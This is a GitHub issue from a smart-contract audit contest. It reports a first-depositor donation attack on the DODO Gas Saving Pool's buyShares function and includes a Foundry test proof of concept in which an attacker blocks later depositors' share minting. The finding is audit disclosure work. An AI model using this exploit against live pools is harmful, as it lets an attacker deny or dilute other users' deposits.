Skip to content
This repository has been archived by the owner on Jun 30, 2024. It is now read-only.

osmanozdemir1 - The protocol is vulnerable to first depositor issue and donation attack #75

Closed
sherlock-admin2 opened this issue Dec 24, 2023 · 0 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin2
Copy link
Contributor

sherlock-admin2 commented Dec 24, 2023

osmanozdemir1

high

The protocol is vulnerable to first depositor issue and donation attack

Summary

The protocol is vulnerable to the first depositor issue.

Vulnerability Detail

GSPFunding::buyShares function has an if/else block that works depending on the total shares. The logic for the initial deposit and all deposits after that are different. The initial depositor can cause other users to mint unfair amount of shares or break share minting.

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56C1-L61C31

file: GSPFunding
// function buy shares
    ... 
        if (totalSupply == 0) {
            // case 1. initial supply
            // The shares will be minted to user
            shares = quoteBalance < DecimalMath.mulFloor(baseBalance, _I_)
                ? DecimalMath.divFloor(quoteBalance, _I_)
                : baseBalance;
            // The target will be updated
            _BASE_TARGET_ = uint112(shares);
            _QUOTE_TARGET_ = uint112(DecimalMath.mulFloor(shares, _I_));
        } else if (baseReserve > 0 && quoteReserve > 0) {
            // case 2. normal case
            uint256 baseInputRatio = DecimalMath.divFloor(baseInput, baseReserve);
            uint256 quoteInputRatio = DecimalMath.divFloor(quoteInput, quoteReserve);
            uint256 mintRatio = quoteInputRatio < baseInputRatio ? quoteInputRatio : baseInputRatio;
            // The shares will be minted to user
            shares = DecimalMath.mulFloor(totalSupply, mintRatio);
    ...

The minimum share amount to mint is 1001.

The first depositor can:

  • Mint 1001 shares

  • Donate huge amount of tokens by directly transferring them

  • This will increase baseReserve and/or quoteReserve

  • Other users will get less shares due to these shares being calculated compared to reserves.

Coded PoC

You can use the protocol's own test suite to test this PoC.
-Copy and paste the snippet into the GSPFunding.t.sol test file
-Run it with forge test --match-test test_firstDepositor --fork-url YOUR_KEY -vvv

function test_firstDepositor() public {
        // Transfer tokens to accounts
        vm.startPrank(DAI_WHALE);
        dai.transfer(USER, 150 ether);
        dai.transfer(OTHER, 150 ether);
        vm.stopPrank();
        vm.startPrank(USDC_WHALE);
        usdc.transfer(USER, 150 * 1e6);
        usdc.transfer(OTHER, 150 * 1e6);
        vm.stopPrank();

        // Mint with min amount first.
        vm.startPrank(USER);
        dai.transfer(address(gsp), 1001); //min amount
        usdc.transfer(address(gsp), 1); // quote balance is much more compared to base balance. -> Shares will be calculated based on base balance.
        gsp.buyShares(USER);
        assertEq(gsp.balanceOf(USER), 1001);

        // Donate directly and then call sync to update reserves.
        dai.transfer(address(gsp), 100 ether);
        gsp.sync();
        vm.stopPrank();

        // Another user tries to mint 10e18 worth of shares.
        // It will revert due to mint amount is not enough.        
        vm.startPrank(OTHER);
        dai.transfer(address(gsp), 10e18);
        usdc.transfer(address(gsp), 1e7);
        vm.expectRevert("MINT_AMOUNT_NOT_ENOUGH");
        gsp.buyShares(OTHER);

        // User can only mint if he/she sends more than the first depositor's donation amount.
        dai.transfer(address(gsp), 100e18);
        usdc.transfer(address(gsp), 1e8);
        gsp.buyShares(OTHER);
    }

Results after running the test:

Running 1 test for test/GSPFunding.t.sol:TestGSPFunding
[PASS] test_firstDepositor() (gas: 367664)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.87s
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

  • First depositor can cause other users to get less shares or break minting shares completely.

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/main/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56C1-L71C67

Tool used

Manual Review

Recommendation

The protocol team may provide initial supply and mint some initial share to prevent this issue.

Duplicate of #55

@sherlock-admin sherlock-admin changed the title Massive Fern Bobcat - Unbounded Fee Rates in GSP.sol Initialization Function Ancient Raspberry Wallaby - The protocol is vulnerable to first depositor issue and donation attack Dec 28, 2023
@github-actions github-actions bot closed this as completed Jan 2, 2024
@github-actions github-actions bot added High A valid High severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Jan 2, 2024
@sherlock-admin sherlock-admin changed the title Ancient Raspberry Wallaby - The protocol is vulnerable to first depositor issue and donation attack osmanozdemir1 - The protocol is vulnerable to first depositor issue and donation attack Jan 12, 2024
@sherlock-admin sherlock-admin added the Reward A payout will be made for this issue label Jan 12, 2024
@Czar102 Czar102 added Medium A valid Medium severity issue and removed High A valid High severity issue labels Jan 22, 2024
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

3 participants